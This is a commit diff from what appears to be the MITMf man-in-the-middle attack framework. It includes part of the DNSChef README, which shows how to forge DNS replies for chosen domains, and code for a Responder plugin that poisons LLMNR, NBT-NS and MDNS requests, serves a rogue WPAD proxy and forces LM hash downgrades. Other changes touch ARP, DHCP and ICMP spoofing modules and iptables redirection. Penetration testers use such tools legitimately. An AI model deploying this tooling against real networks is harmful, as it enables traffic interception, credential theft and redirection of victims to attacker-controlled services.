[*] Cooking all MX replies to point to mail.fake.com
[*] Cooking all CNAME replies to point to www.fake.com
[*] Cooking all NS replies to point to ns.fake.com
[00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records.
DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see:
$ host -t ANY google.com localhost
google.com has address 127.0.0.1
google.com has IPv6 address ::1
google.com mail is handled by 10 mail.fake.com.
google.com is an alias for www.fake.com.
google.com name server ns.fake.com.
Filtering domains
-----------------
Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below:
# ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org
[00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1
[00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com
From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest.
NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not.
Reverse filtering
-----------------
In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows:
# ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org
[00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com
[00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains.
NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org.
External definitions file
-------------------------
There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go.
For example, let create the following definitions file and call it *dnschef.ini*:
[A]
*.google.com=192.0.2.1
thesprawl.org=192.0.2.2
*.wordpress.*=192.0.2.3
Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries:
# ./dnschef.py --file dnschef.ini -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[+] Cooking A replies for domain *.google.com with '192.0.2.1'
[+] Cooking A replies for domain thesprawl.org with '192.0.2.2'
[+] Cooking A replies for domain *.wordpress.* with '192.0.2.3'
[00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1
[00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1
[00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2
[00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org
[00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3
[00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3
[00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org
Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response.
You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file:
[PTR]
*.2.0.192.in-addr.arpa=fake.com
Let's observe DNSChef's behavior with this new record type:
./dnschef.py --file dnschef.ini -q
[sudo] password for iphelix:
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com'
[00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com
And here is what a client might see when performing reverse DNS queries:
$ host 192.0.2.1 localhost
1.2.0.192.in-addr.arpa domain name pointer fake.com.
Some records require exact formatting. Good examples are SOA and NAPTR
[SOA]
*.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
[NAPTR]
*.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
See sample dnschef.ini file for additional examples.
Advanced Filtering
------------------
You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters:
# ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[+] Cooking A replies for domain *.google.com with '192.0.2.1'
[+] Cooking A replies for domain thesprawl.org with '192.0.2.2'
[+] Cooking A replies for domain *.wordpress.* with '192.0.2.3'
[*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org
[*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org
[00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1
[00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6
[00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6
[00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com
Notice the definition for *thesprawl.org* in the command line parameter took precedence over *dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file.
Other configurations
====================
For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter:
# ./dnschef.py --interface 0.0.0.0 -q
[*] DNSChef started on interface: 0.0.0.0
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode
[00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org
or for IPv6:
# ./dnschef.py -6 --interface :: -q
[*] Using IPv6 mode.
[*] DNSChef started on interface: ::
[*] Using the following nameservers: 2001:4860:4860::8888
[*] No parameters were specified. Running in full proxy mode
[00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org
By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter:
# ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 4.2.2.1, 4.2.2.2
[*] No parameters were specified. Running in full proxy mode
[00:55:08] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
It is possible to specify non-standard nameserver port using IP#PORT notation:
# ./dnschef.py --nameservers 192.0.2.2#5353 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 192.0.2.2#5353
[*] No parameters were specified. Running in full proxy mode
[02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter:
# ./dnschef.py -p 5353 -q
[*] Listening on an alternative port 5353
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode
DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag.
Internal architecture
=====================
Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP.
The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation.
DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with.
Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org.
Happy hacking!
-Peter

View file

@ -1,64 +0,0 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
import sys
from core.utils import shutdown
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver(ConfigWatcher):
server = Flask("HTTPserver")
func_list = []
__shared_state = {}
def __init__(self):
self.__dict__ = self.__shared_state
def start_flask(self):
@self.server.route('/', defaults={'path': '/'})
@self.server.route('/<path:path>')
def catch_all(path):
for func in self.func_list:
resp = func(path)
if resp:
return resp
return path
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
def start(self):
self.setup_http_logger()
server_thread = threading.Thread(name='HTTPserver', target=self.start_flask)
server_thread.setDaemon(True)
server_thread.start()
def add_endpoint(self, function):
self.func_list.append(function)
def setup_http_logger(self):
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
flask_logger = logging.getLogger('werkzeug')
flask_logger.propagate = False
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(formatter)
flask_logger.addHandler(fileHandler)

View file

@ -1,76 +0,0 @@
import logging
import sys
import threading
import os
from socket import error as socketerror
from mitmflib.impacket import version, smbserver, LOG
from core.servers.smb.KarmaSMB import KarmaSMBServer
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
class SMBserver(ConfigWatcher):
__shared_state = {}
def __init__(self):
self.__dict__ = self.__shared_state
self.version = version.VER_MINOR
self.mode = self.config["MITMf"]["SMB"]["mode"].lower()
self.challenge = self.config["MITMf"]["SMB"]["Challenge"]
self.port = int(self.config["MITMf"]["SMB"]["port"])
def server(self):
try:
if self.mode == 'normal':
formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.conf_impacket_logger(formatter)
server = smbserver.SimpleSMBServer(listenPort=self.port)
for share in self.config["MITMf"]["SMB"]["Shares"]:
path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
server.addShare(share.upper(), path, readOnly=readonly)
server.setSMBChallenge(self.challenge)
server.setLogFile('')
elif self.mode == 'karma':
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.conf_impacket_logger(formatter)
server = KarmaSMBServer(self.challenge, self.port)
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
server.extensions[extension.upper()] = os.path.normpath(path)
else:
shutdown("\n[-] Invalid SMB server type specified in config file!")
return server
except socketerror as e:
if "Address already in use" in e:
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port))
def conf_impacket_logger(self, formatter):
LOG.setLevel(logging.INFO)
LOG.propagate = False
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
LOG.addHandler(fileHandler)
LOG.addHandler(streamHandler)
def start(self):
t = threading.Thread(name='SMBserver', target=self.server().start)
t.setDaemon(True)
t.start()

View file

@ -202,16 +202,17 @@ class ClientRequest(Request):
return reactor.resolve(host)
def process(self):
log.debug("Resolving host: {}".format(self.getHeader('host')))
host = self.getHeader('host').split(":")[0]
if self.getHeader('host') is not None:
log.debug("Resolving host: {}".format(self.getHeader('host')))
host = self.getHeader('host').split(":")[0]
if self.hsts:
host = self.urlMonitor.URLgetRealHost(str(host))
if self.hsts:
host = self.urlMonitor.URLgetRealHost(str(host))
deferred = self.resolveHost(host)
deferred.addCallback(self.handleHostResolvedSuccess)
deferred.addErrback(self.handleHostResolvedError)
deferred = self.resolveHost(host)
deferred.addCallback(self.handleHostResolvedSuccess)
deferred.addErrback(self.handleHostResolvedError)
def proxyViaHTTP(self, host, method, path, postData, headers, port):
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
connectionFactory.protocol = ServerConnection

View file

@ -28,7 +28,7 @@ import sys
from mitmflib.user_agents import parse
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.proxyplugins import ProxyPlugins
from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")

View file

@ -23,7 +23,7 @@ import sys
from commands import getstatusoutput
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.proxyplugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr, get_working_if
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
@ -105,4 +105,4 @@ class iptables:
def NFQUEUE(self):
log.debug("Setting iptables NFQUEUE rule")
os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
self.nfqueue = True
self.nfqueue = True

View file

@ -22,13 +22,12 @@ import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO)
logging.getLogger('mitmflib.impacket').setLevel(logging.INFO)
import argparse
import sys
import os
import threading
import core.responder.settings as settings
from twisted.web import http
from twisted.internet import reactor
@ -46,7 +45,7 @@ if os.geteuid() != 0:
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename),
usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]',
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
epilog="Use wisely, young Padawan.")
#add MITMf options
@ -73,14 +72,14 @@ options = parser.parse_args()
logger().log_level = logging.__dict__[options.log_level.upper()]
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_iface, get_ip, get_mac, shutdown
if not options.interface:
options.interface = get_iface()
from core.utils import get_ip, get_mac, shutdown
options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface)
settings.Config.populate(options)
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.proxyplugins import ProxyPlugins
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
@ -92,6 +91,7 @@ strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
reactor.listenTCP(3141, strippingFactory)
ProxyPlugins().all_plugins = plugins
@ -124,42 +124,42 @@ print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
print "|"
if options.filter:
from core.packetparser import PacketParser
pparser = PacketParser(options.filter)
pparser.start()
print "|_ PacketParser online"
from core.packetfilter import PacketFilter
pfilter = PacketFilter(options.filter)
pfilter.start()
print "|_ PacketFilter online"
print "| |_ Applying filter {} to incoming packets".format(options.filter)
#Start mitmf-api
from core.mitmfapi import mitmfapi
print "|_ MITMf-API online"
mitmfapi().start()
#from core.mitmfapi import mitmfapi
#print "|_ MITMf-API online"
#mitmfapi().start()
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
from core.netcreds import NetCreds
NetCreds().start(options.interface, options.ip)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start the HTTP Server
from core.servers.http.HTTPserver import HTTPserver
HTTPserver().start()
print "|_ HTTP server online"
#from core.servers.HTTP import HTTP
#HTTPserver().start()
#print "|_ HTTP server online"
#Start DNSChef
from core.servers.dns.DNSchef import DNSChef
from core.servers.DNS import DNSChef
DNSChef().start()
print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the SMB server
from core.servers.smb.SMBserver import SMBserver
SMBserver().start()
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version)
from core.servers.SMB import SMB
SMB().start()
print "|_ SMB server online\n"
#start the reactor
reactor.run()
print "\n"
if options.filter:
pparser.stop()
pfilter.stop()
shutdown()

View file

@ -1,138 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import flask
from plugins.plugin import Plugin
from twisted.internet import reactor
class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.ip = options.ip
try:
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
shutdown('[-] Error parsing config for Responder: ' + str(e))
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
LANfingerprinter().start(options)
MDNSpoisoner().start(options, options.ip)
NBTNSpoisoner().start(options, options.ip)
LLMNRpoisoner().start(options, options.ip)
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
def wpad_request(path):
if (path == 'wpad.dat') or (path.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
HTTPserver().add_endpoint(wpad_request)
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.responder.kerberos.KERBserver import KERBserver
KERBserver().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.responder.ftp.FTPserver import FTPserver
FTPserver().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.responder.pop3.POP3server import POP3server
POP3server().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.responder.smtp.SMTPserver import SMTPserver
SMTPserver().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.responder.imap.IMAPserver import IMAPserver
IMAPserver().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.responder.ldap.LDAPserver import LDAPserver
LDAPserver().start(smbChal)
if options.analyze:
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.IsICMPRedirectPlausible(options.ip)
def IsICMPRedirectPlausible(self, IP):
result = []
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
else:
pass
def IsOnTheSameSubnet(self, ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def reactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)
def options(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
# Removed these options until I find a better way of implementing them
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

View file

@ -37,14 +37,14 @@ class Spoof(Plugin):
if not options.gateway:
shutdown("[Spoof] --arp argument requires --gateway")
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
from core.poisoners.ARP import ARPpoisoner
arp = ARPpoisoner(options)
arp.debug = debug
self.tree_info.append('ARP spoofing enabled')
self.protocol_instances.append(arp)
elif options.dhcp:
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
from core.poisoners.DHCP import DHCPpoisoner
if options.targets:
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
@ -55,7 +55,7 @@ class Spoof(Plugin):
self.protocol_instances.append(dhcp)
elif options.icmp:
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
from core.poisoners.ICMP import ICMPpoisoner
if not options.gateway:
shutdown("[Spoof] --icmp argument requires --gateway")
@ -69,8 +69,6 @@ class Spoof(Plugin):
self.protocol_instances.append(icmp)
if options.dns:
from core.servers.dns.DNSchef import DNSChef
self.tree_info.append('DNS spoofing enabled')
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])